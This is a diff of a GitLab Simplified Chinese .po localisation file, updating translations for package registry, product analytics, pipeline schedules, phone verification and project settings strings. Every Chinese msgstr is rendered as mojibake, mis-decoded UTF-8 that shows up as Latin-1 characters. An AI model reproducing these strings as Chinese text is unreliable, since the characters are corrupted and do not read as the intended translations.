msgstr "已添加新电å­é‚®ä»¶åœ°å€"
@@ -27027,10 +27364,10 @@ msgid "New identity"
msgstr "新建身份标识"
msgid "New incident"
-msgstr ""
+msgstr "新建事件"
msgid "New incident has been created"
-msgstr ""
+msgstr "新事件已创建"
msgid "New issue"
msgstr "新建议题"
@@ -27314,9 +27651,6 @@ msgstr "无标记"
msgid "No labels with such name or description"
msgstr "没有具有此类å称或æ述的标记"
-msgid "No license. All rights reserved"
-msgstr "未设定许å¯è¯ã€‚版æƒæ‰€æœ‰ã€‚"
-
msgid "No matches found"
msgstr "没有找到匹é…项"
@@ -27405,7 +27739,7 @@ msgid "No results found"
msgstr "未找到结果"
msgid "No results found."
-msgstr ""
+msgstr "未找到结果。"
msgid "No runner executable"
msgstr "æ— runnerå¯æ‰§è¡Œæ–‡ä»¶"
@@ -27492,6 +27826,21 @@ msgstr "没有任何群组里程碑与å‘布具有相åŒçš„项目"
msgid "Normal text"
msgstr "普通文本"
+msgid "NorthstarNavigation|Alpha"
+msgstr "Alpha"
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr "无法更新新的导航å好设置。请ç¨åŽå†è¯•ã€‚"
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr "导航é‡æ–°è®¾è®¡"
+
+msgid "NorthstarNavigation|New navigation"
+msgstr "新建导航"
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr "切æ¢æ–°å¯¼èˆª"
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr "并éžæ‰€æœ‰æµè§ˆå™¨éƒ½æ”¯æŒU2F设备。因此,我们需è¦æ‚¨é¦–先设置一个åŒé‡èº«ä»½éªŒè¯åº”用。这样å³ä½¿æ‚¨ä½¿ç”¨çš„æµè§ˆå™¨ä¸å—支æŒï¼Œæ‚¨ä¹Ÿå¯ä»¥ç™»å½•ã€‚"
@@ -28024,14 +28373,8 @@ msgstr "Nuget元数æ®å¿…须至少设置了license_url,project_url或icon_url"
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr "æ¯ä¸ªç´¢å¼•çš„ Elasticsearch 碎片和副本数:"
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr "%{code_start}git gc%{code_end} 之åŽçš„ Git 推é€æ¬¡æ•°ã€‚"
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr "完全%{code_start}git repack%{code_end} 之åŽçš„ Git 推é€æ¬¡æ•°ã€‚"
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
-msgstr "增é‡%{code_start}git repack%{code_end} 之åŽçš„ Git 推é€æ¬¡æ•°ã€‚"
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
+msgstr "è¦æ±‚ Gitaly 优化代ç åº“åŽçš„ Git 推é€æ¬¡æ•°ã€‚"
msgid "Number of LOCs per commit"
msgstr "æ¯æ¬¡æ交的代ç è¡Œæ•°"
@@ -28061,26 +28404,38 @@ msgid "OK"
msgstr "确定"
msgid "OKR|Existing key result"
-msgstr ""
+msgstr "现有关键结果"
msgid "OKR|Existing objective"
-msgstr ""
+msgstr "现有目标"
msgid "OKR|New key result"
-msgstr ""
+msgstr "新建关键结果"
msgid "OKR|New objective"
-msgstr ""
+msgstr "新建目标"
msgid "Object does not exist on the server or you don't have permissions to access it"
msgstr "对象在æœåŠ¡å™¨ä¸Šä¸å­˜åœ¨, 或者您没有访问它的æƒé™"
msgid "Objective"
-msgstr ""
+msgstr "目标"
msgid "Observability"
msgstr "å¯è§‚测性"
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr "10月"
@@ -28458,7 +28813,7 @@ msgid "OnDemandScans|Timezone"
msgstr "时区"
msgid "OnDemandScans|Verify configuration"
-msgstr ""
+msgstr "验è¯é…ç½®"
msgid "OnDemandScans|View results"
msgstr "查看结果"
@@ -28506,6 +28861,9 @@ msgstr "有一个或多个ä¾èµ–项文件ä¸æ”¯æŒï¼Œå¹¶ä¸”ä¾èµ–项列表å¯èƒ½
msgid "One or more of your personal access tokens has expired."
msgstr "您的一个或多个个人访问令牌已过期。"
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr "您的一个或多个个人访问令牌将在 %{days_to_expire} 天或更短的时间内到期:"
@@ -28671,6 +29029,9 @@ msgstr "è¿ç»´ä»ªè¡¨æ¿æä¾›æ¯ä¸ªé¡¹ç›®çš„è¿è¡ŒçŠ¶å†µçš„摘è¦ï¼ŒåŒ…括æµæ°´
msgid "Opstrace endpoint for Error Tracking integration"
msgstr "用于错误跟踪集æˆçš„ Opstrace 端点"
+msgid "Optimize repository period"
+msgstr "优化代ç åº“周期"
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr "使用 CI/CD æµæ°´çº¿ä¼˜åŒ–您的工作æµç¨‹"
@@ -28927,7 +29288,7 @@ msgid "PackageRegistry|Conan Command"
msgstr "Conan命令"
msgid "PackageRegistry|Configure package forwarding and package file size limits."
-msgstr ""
+msgstr "é…置包转å‘和包文件大å°é™åˆ¶ã€‚"
msgid "PackageRegistry|Copy .pypirc content"
msgstr "å¤åˆ¶.pypirc内容"
@@ -29018,7 +29379,7 @@ msgid "PackageRegistry|Delete package version"
msgstr "删除软件包版本"
msgid "PackageRegistry|Delete packages"
-msgstr ""
+msgstr "删除软件包"
msgid "PackageRegistry|Delete selected"
msgstr "删除选中"
@@ -29036,10 +29397,10 @@ msgid "PackageRegistry|Duplicate packages"
msgstr "é‡å¤çš„软件包"
msgid "PackageRegistry|Enforce %{packageType} setting for all subgroups"
-msgstr ""
+msgstr "强制为所有å­ç»„设置 %{packageType}"
msgid "PackageRegistry|Enforce %{package_type} setting for all subgroups"
-msgstr ""
+msgstr "强制为所有å­ç»„设置 %{package_type}"
msgid "PackageRegistry|Error publishing"
msgstr "å‘布错误"
@@ -29066,16 +29427,16 @@ msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}se
msgstr "关于PyPi注册表的更多信æ¯ï¼Œ%{linkStart}请è§æ–‡æ¡£%{linkEnd}。"
msgid "PackageRegistry|Forward %{packageType} package requests"
-msgstr ""
+msgstr "è½¬å‘ %{packageType} 软件包请求"
msgid "PackageRegistry|Forward %{package_type} package requests"
-msgstr ""
+msgstr "è½¬å‘ %{package_type} 软件包请求"
msgid "PackageRegistry|Forward package requests"
-msgstr ""
+msgstr "转å‘软件包请求"
msgid "PackageRegistry|Forward package requests to a public registry if the packages are not found in the GitLab package registry."
-msgstr ""
+msgstr "如果在 GitLab 软件包库中找ä¸åˆ°è½¯ä»¶åŒ…,则转å‘软件包请求到公共库。"
msgid "PackageRegistry|Generic"
msgstr "通用"
@@ -29095,12 +29456,6 @@ msgstr "Gradle Kotlin DSL安装命令"
msgid "PackageRegistry|Helm"
msgstr "Helm"
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr "帮助我们了解您的仓库è¿ç§»éœ€æ±‚"
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr "如果您有兴趣将软件包从您的ç§äººåº“è¿ç§»åˆ° GitLab 软件包库,å‚加我们的调查并告诉我们您的更多需求。"
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr "如果尚未é…置,需è¦å°†ä»¥ä¸‹å†…容添加到%{codeStart}.pypirc%{codeEnd}文件中。"
@@ -29150,7 +29505,7 @@ msgid "PackageRegistry|Number of duplicate assets to keep"
msgstr "è¦ä¿ç•™çš„é‡å¤ assets æ•°é‡"
msgid "PackageRegistry|Other versions"
-msgstr ""
+msgstr "其他版本"
msgid "PackageRegistry|Package Registry"
msgstr "软件包注册表"
@@ -29168,7 +29523,7 @@ msgid "PackageRegistry|Package formats"
msgstr "软件包格å¼"
msgid "PackageRegistry|Package forwarding"
-msgstr ""
+msgstr "软件包转å‘中"
msgid "PackageRegistry|Package has %{updatesCount} archived update"
msgid_plural "PackageRegistry|Package has %{updatesCount} archived updates"
@@ -29178,7 +29533,7 @@ msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, bu
msgstr "软件包由分支%{branch}上的%{link}æ交所更新,由æµæ°´çº¿%{pipeline}构建并于%{datetime}å‘布到库"
msgid "PackageRegistry|Packages deleted successfully"
-msgstr ""
+msgstr "æˆåŠŸåˆ é™¤è½¯ä»¶åŒ…"
msgid "PackageRegistry|Permanently delete"
msgstr "永久删除"
@@ -29235,7 +29590,7 @@ msgid "PackageRegistry|Show Yarn commands"
msgstr "显示 Yarn 命令"
msgid "PackageRegistry|Something went wrong while deleting packages."
-msgstr ""
+msgstr "删除软件包时出错。"
msgid "PackageRegistry|Something went wrong while deleting the package asset."
msgstr "删除软件包 asset 时出错。"
@@ -29258,9 +29613,6 @@ msgstr "对ä¸èµ·ï¼Œæ²¡æœ‰ç¬¦åˆç­›é€‰å™¨çš„任何结果"
msgid "PackageRegistry|Source project located at %{link}"
msgstr "æºé¡¹ç›®ä½äºŽ%{link}"
-msgid "PackageRegistry|Take survey"
-msgstr "å‚加调查"
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr "目标 SHA:%{sha}"
@@ -29306,7 +29658,7 @@ msgstr[0] "您将è¦åˆ é™¤ %d 项 assets,此æ“作是ä¸å¯é€†çš„。"
msgid "PackageRegistry|You are about to delete 1 package. This operation is irreversible."
msgid_plural "PackageRegistry|You are about to delete %d packages. This operation is irreversible."
-msgstr[0] ""
+msgstr[0] "您将è¦åˆ é™¤ %d 个软件包。此æ“作是ä¸å¯é€†çš„。"
msgid "PackageRegistry|You are about to delete version %{version} of %{name}. Are you sure?"
msgstr "å³å°†åˆ é™¤%{name}çš„%{version}版本。确定继续å—?"
@@ -29324,7 +29676,7 @@ msgid "PackageRegistry|published by %{author}"
msgstr "ç”±%{author}å‘布"
msgid "Packages"
-msgstr ""
+msgstr "软件包"
msgid "Packages and registries"
msgstr "软件包与镜åƒåº“"
@@ -29396,17 +29748,11 @@ msgid "Parameter \"job_id\" cannot exceed length of %{job_id_max_size}"
msgstr "å‚æ•°\"job_id\"ä¸èƒ½è¶…过%{job_id_max_size}的长度"
msgid "Parameters"
-msgstr ""
+msgstr "å‚æ•°"
msgid "Parent"
msgstr "父级"
-msgid "Parent epic doesn't exist."
-msgstr "父å²è¯—ä¸å­˜åœ¨ã€‚"
-
-msgid "Parent epic is not present."
-msgstr "父å²è¯—ä¸å­˜åœ¨ã€‚"
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr "å‚æ•°:embed_json解æžé”™è¯¯ã€‚%{message}"
@@ -29462,13 +29808,13 @@ msgid "Passwords should be unique and not used for any other sites or services."
msgstr "密ç åº”唯一并未用于任何其他网站或æœåŠ¡ã€‚"
msgid "Password|Not satisfied"
-msgstr ""
+msgstr "ä¸æ»¡è¶³è¦æ±‚"
msgid "Password|Satisfied"
-msgstr ""
+msgstr "满足è¦æ±‚"
msgid "Password|To be satisfied"
-msgstr ""
+msgstr "å³å°†æ»¡è¶³è¦æ±‚"
msgid "Password|requires at least one lowercase letter"
msgstr "需包å«è‡³å°‘一个å°å†™å­—æ¯"
@@ -29714,28 +30060,28 @@ msgid "Phone"
msgstr "电è¯"
msgid "PhoneVerification|Enter a valid code."
-msgstr ""
+msgstr "请输入验è¯ç ã€‚"
msgid "PhoneVerification|Something went wrong. Please try again."
-msgstr ""
+msgstr "出错了,请å†è¯•ä¸€æ¬¡ã€‚"
msgid "PhoneVerification|The code has expired. Request a new code and try again."
-msgstr ""
+msgstr "验è¯ç å·²è¿‡æœŸã€‚é‡æ–°å‘é€æ–°éªŒè¯ç ç„¶åŽé‡è¯•ã€‚"
msgid "PhoneVerification|There was a problem with the phone number you entered. Enter a different phone number and try again."
-msgstr ""
+msgstr "您输入的电è¯å·ç ä¸æ­£ç¡®ã€‚请输入ä¸åŒçš„电è¯å·ç ï¼Œç„¶åŽé‡è¯•ã€‚"
msgid "PhoneVerification|There was a problem with the phone number you entered. Enter a valid phone number."
-msgstr ""
+msgstr "您输入的电è¯å·ç ä¸æ­£ç¡®ã€‚请输入有效的电è¯å·ç ã€‚"
msgid "PhoneVerification|Verification code can't be blank."
-msgstr ""
+msgstr "验è¯ç ä¸èƒ½ä¸ºç©ºã€‚"
msgid "PhoneVerification|You've reached the maximum number of tries. Request a new code and try again."
-msgstr ""
+msgstr "您已达到最大å°è¯•æ¬¡æ•°ã€‚é‡æ–°å‘é€æ–°çš„验è¯ç ï¼Œç„¶åŽé‡è¯•ã€‚"
msgid "PhoneVerification|You've reached the maximum number of tries. Wait %{interval} and try again."
-msgstr ""
+msgstr "您已达到最大å°è¯•æ¬¡æ•°ã€‚等待 %{interval},然åŽé‡è¯•ã€‚"
msgid "Pick a name"
msgstr "选择一个å称"
@@ -29938,8 +30284,8 @@ msgstr "正在验è¯æµæ°´çº¿... å¯èƒ½éœ€è¦ä¸€åˆ†é’Ÿæ—¶é—´ã€‚"
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr "等待 CI 内容加载..."
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
-msgstr "自定义(%{linkStart}Cron 语法%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
+msgstr "自定义(%{linkStart}了解更多%{linkEnd})"
msgid "PipelineSchedules|Activated"
msgstr "是å¦å¯ç”¨"
@@ -29953,6 +30299,9 @@ msgstr "所有"
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr "确定è¦åˆ é™¤æ­¤æµæ°´çº¿è®¡åˆ’å—?"
+msgid "PipelineSchedules|Cron timezone"
+msgstr "Cron 时区"
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr "删除æµæ°´çº¿è®¡åˆ’"
@@ -29965,6 +30314,9 @@ msgstr "编辑æµæ°´çº¿è®¡åˆ’"
msgid "PipelineSchedules|Inactive"
msgstr "未å¯ç”¨"
+msgid "PipelineSchedules|Interval Pattern"
+msgstr "间隔样å¼"
+
msgid "PipelineSchedules|Last Pipeline"
msgstr "最近的æµæ°´çº¿"
@@ -29992,6 +30344,12 @@ msgstr "为此æµæ°´çº¿æ供简短æè¿°"
msgid "PipelineSchedules|Run pipeline schedule"
msgstr "è¿è¡Œæµæ°´çº¿è®¡åˆ’"
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr "ä¿å­˜æµæ°´çº¿è®¡åˆ’"
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr "æˆåŠŸä»Ž %{owner} å–得所有æƒã€‚"
@@ -30010,6 +30368,9 @@ msgstr "删除æµæ°´çº¿è®¡åˆ’时出错。"
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr "获å–æµæ°´çº¿è®¡åˆ’时出错。"
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr "获å–æµæ°´çº¿è®¡åˆ’的所有æƒæ—¶å‡ºé”™ã€‚"
@@ -30653,7 +31014,7 @@ msgid "Please click the link in the confirmation email before continuing. It was
msgstr "请在继续å‰ç‚¹å‡»ç”µå­é‚®ä»¶ä¸­çš„确认链接。它被å‘é€åˆ°äº†%{html_tag_strong_start}%{email}%{html_tag_strong_end}"
msgid "Please complete the incident creation form."
-msgstr ""
+msgstr "请完æˆäº‹ä»¶åˆ›å»ºè¡¨å•ã€‚"
msgid "Please complete your profile with email address"
msgstr "请在您的个人资料中填写电å­é‚®ä»¶åœ°å€"
@@ -30964,9 +31325,6 @@ msgstr "选择您希望在仪表盘上默认看到的内容。"
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr "选择项目概览页é¢ä¸­æ‚¨æƒ³çœ‹åˆ°çš„内容。"
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr "添加行的颜色"
@@ -31024,6 +31382,9 @@ msgstr "布局宽度"
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr "必须为%{min}到%{max}之间的数字"
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr "选择退出 Web IDE Beta"
+
msgid "Preferences|Preview"
msgstr "预览"
@@ -31051,8 +31412,11 @@ msgstr "语法高亮主题"
msgid "Preferences|Tab width"
msgstr "制表符宽度"
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
-msgstr ""
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr "Web IDE Beta 是默认的 Web IDE 体验。"
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
+msgstr "Web IDE 与新的 Beta 版å‡å¯ç”¨ã€‚"
msgid "Preferences|This feature is experimental and translations are not yet complete."
msgstr "此功能是实验性的,翻译尚未完æˆã€‚"
@@ -31066,14 +31430,11 @@ msgstr "此设置å…许您自定义系统布局和默认视图的呈现。"
msgid "Preferences|Time preferences"
msgstr "时间å好"
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr "使用相对时间"
msgid "Preferences|Web IDE"
-msgstr ""
+msgstr "Web IDE"
msgid "Preferences|When you type in a description or comment box, pressing %{kbdOpen}Enter%{kbdClose} in a list adds a new item below."
msgstr "当您在æ述或评论框中键入时,按列表中的 %{kbdOpen}Enter%{kbdClose},会在下é¢æ·»åŠ ä¸€ä¸ªæ–°é¡¹ã€‚"
@@ -31180,6 +31541,9 @@ msgstr "ç§æœ‰ç¾¤ç»„"
msgid "Private profile"
msgstr "éžå…¬å¼€èµ„æ–™"
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr "ç§æœ‰é¡¹ç›®åˆ†é’Ÿæˆæœ¬ç³»æ•°"
@@ -31192,27 +31556,228 @@ msgstr "%{name} 命令出错: %{message}。"
msgid "Proceed"
msgstr "继续"
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr "使用您喜欢的软件包管ç†å™¨ï¼Œåœ¨æ‚¨çš„ package.json 中添加 NPM 包:"
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr "添加脚本到页é¢å¹¶å°†å®¢æˆ·ç«¯ SDK 分é…到窗å£ï¼š"
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr "使用产å“分æžæ¥åˆ†æžæ‚¨çš„产å“"
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr "è¦è®©äº§å“分æžä»ªè¡¨ç›˜å¼€å§‹å‘您显示一些数æ®ï¼Œæ‚¨éœ€è¦å°†åˆ†æžè·Ÿè¸ªä»£ç æ·»åŠ åˆ°æ‚¨çš„项目中。"
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr "识别跟踪事件的å‘件人"
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr "导入新软件包到您的 JS 代ç ï¼š"
+
+msgid "Product Analytics|Instrument your application"
+msgstr "检测您的应用程åº"
+
+msgid "Product Analytics|SDK App ID"
+msgstr "SDK App ID"
+
+msgid "Product Analytics|SDK Host"
+msgstr "SDK Host"
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr "设置产å“分æžï¼Œè·Ÿè¸ªæ‚¨çš„产å“的性能。将它与您的 GitLab æ•°æ®ç›¸ç»“åˆï¼Œæ‚¨å¯ä»¥æ›´å¥½åœ°äº†è§£å¯ä»¥åœ¨å“ªäº›æ–¹é¢æ”¹è¿›æ‚¨çš„产å“和开å‘æµç¨‹ã€‚"
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr "设置产å“分æž..."
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr "将产å“分æžæ·»åŠ ä¸º CommonJS 模å—的步骤"
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr "将产å“分æžæ·»åŠ ä¸º HTML 脚本标签的步骤"
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr "将产å“分æžæ·»åŠ ä¸º ESM 模å—的步骤"
+
+msgid "Product Analytics|The host to send all tracking events to"
msgstr ""
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
+msgstr "è¦æ£€æµ‹æ‚¨çš„应用程åºï¼Œè¯·é€‰æ‹©ä»¥ä¸‹é€‰é¡¹ä¹‹ä¸€ã€‚检测选项并收集数æ®åŽï¼Œæ­¤é¡µé¢å°†è¿›å…¥ä¸‹ä¸€æ­¥ã€‚"
+
msgid "Product analytics"
-msgstr "生产力分æž"
+msgstr "产å“分æž"
+
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
msgid "ProductAnalytics|Add to Dashboard"
+msgstr "添加到仪表盘"
+
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
msgstr ""
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
+msgstr "加载 %{widgetTitle} 部件时出错。"
+
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr "获å–æ•°æ®æ—¶å‡ºé”™ã€‚刷新页é¢é‡è¯•ã€‚"
+
+msgid "ProductAnalytics|Any Click on elements"
msgstr ""
msgid "ProductAnalytics|Audience"
msgstr "å—ä¼—"
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr "通过编辑项目仪表盘文件创建仪表盘。"
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
+msgstr "新建分æžéƒ¨ä»¶æ ‡é¢˜"
+
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr "产å“分æžä»ªè¡¨ç›˜"
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
msgstr ""
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr "此类型的图表目å‰æ²¡æœ‰æ•°æ®ã€‚如果您尚未é…置产å“分æžå·¥å…·ï¼Œè¯·æŸ¥çœ‹è®¾ç½®æ ‡ç­¾ã€‚"
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr "效率"
@@ -31574,10 +32139,10 @@ msgid "Profiles|Upload new avatar"
msgstr "上传新头åƒ"
msgid "Profiles|Usage type"
-msgstr ""
+msgstr "使用类型"
msgid "Profiles|Usage type:"
-msgstr ""
+msgstr "使用类型:"
msgid "Profiles|Use a private email - %{email}"
msgstr "使用ç§äººç”µå­é‚®ä»¶ - %{email}"
@@ -31867,6 +32432,18 @@ msgstr "显示更多"
msgid "ProjectLastActivity|Never"
msgstr "从未"
+msgid "ProjectList|Explore"
+msgstr "æµè§ˆé¡¹ç›®"
+
+msgid "ProjectList|Starred"
+msgstr "已加星标"
+
+msgid "ProjectList|Topics"
+msgstr "主题"
+
+msgid "ProjectList|Yours"
+msgstr "您的"
+
msgid "ProjectOverview|Fork"
msgstr "派生"
@@ -32086,6 +32663,9 @@ msgstr "æµæ°´çº¿çŠ¶æ€æ›´æ”¹æ—¶è§¦å‘事件。"
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr "在创建或更新 wiki 页é¢æ—¶è§¦å‘事件。"
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr "在创建ã€æ›´æ–°æˆ–关闭议题时触å‘事件。"
@@ -32114,7 +32694,7 @@ msgid "ProjectSettings|Allow"
msgstr "å…许"
msgid "ProjectSettings|Allow anyone to pull from Package Registry"
-msgstr ""
+msgstr "å…许任何人从软件包库中拉å–"
msgid "ProjectSettings|Always show thumbs-up and thumbs-down award emoji buttons on issues, merge requests, and snippets."
msgstr "始终在议题ã€åˆå¹¶è¯·æ±‚和代ç ç‰‡æ®µä¸Šæ˜¾ç¤ºèµžè®¸å’Œä¸èµžè®¸è¡¨æƒ…符å·æŒ‰é’®ã€‚"
@@ -32123,7 +32703,7 @@ msgid "ProjectSettings|Analytics"
msgstr "分æž"
msgid "ProjectSettings|Anyone can pull packages with a package manager API."
-msgstr ""
+msgstr "任何人都å¯ä»¥ä½¿ç”¨è½¯ä»¶åŒ…管ç†å™¨ API 拉å–软件包。"
msgid "ProjectSettings|Auto-close referenced issues on default branch"
msgstr "自动关闭默认分支上的引用议题"
@@ -32161,9 +32741,6 @@ msgstr "å°† git 标签与å‘布说明ã€å‘布 evidence å’Œ assets 相结åˆæ¥å
msgid "ProjectSettings|Configure your infrastructure."
msgstr "é…置您的基础设施。"
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr "é…置您的项目资æºå¹¶ç›‘控它们的è¿è¡ŒçŠ¶å†µã€‚"
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr "è”系管ç†å‘˜æ›´æ”¹æ­¤è®¾ç½®ã€‚"
@@ -32321,7 +32898,7 @@ msgid "ProjectSettings|Monitor"
msgstr "监控"
msgid "ProjectSettings|Monitor the health of your project and respond to incidents."
-msgstr ""
+msgstr "监控您的项目å¥åº·çŠ¶å†µå¹¶å¯¹äº‹ä»¶åšå‡ºå“应。"
msgid "ProjectSettings|No merge commits are created."
msgstr "没有创建åˆå¹¶æ交。"
@@ -32335,9 +32912,6 @@ msgstr "åªæœ‰åŒ…å« %{code_block_start}Signed-off-by:%{code_block_end} 元素çš
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr "åªæœ‰å·²ç­¾ç½²æ交æ‰å¯ä»¥æŽ¨é€åˆ°æ­¤ä»“库。"
-msgid "ProjectSettings|Operations"
-msgstr "è¿ç»´"
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr "覆盖所有项目æˆå‘˜çš„用户通知首选项。"
@@ -32369,7 +32943,7 @@ msgid "ProjectSettings|Public"
msgstr "公开"
msgid "ProjectSettings|Publish, store, and view packages in a project."
-msgstr ""
+msgstr "在项目中å‘布ã€å­˜å‚¨å’ŒæŸ¥çœ‹è½¯ä»¶åŒ…。"
msgid "ProjectSettings|Releases"
msgstr "å‘布"
@@ -32488,12 +33062,12 @@ msgstr "用于æ¯ä¸ªæ–°çš„åˆå¹¶è¯·æ±‚。"
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr "用户å¯ä»¥å°†ä»“库å¤åˆ¶åˆ°æ–°é¡¹ç›®ã€‚"
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
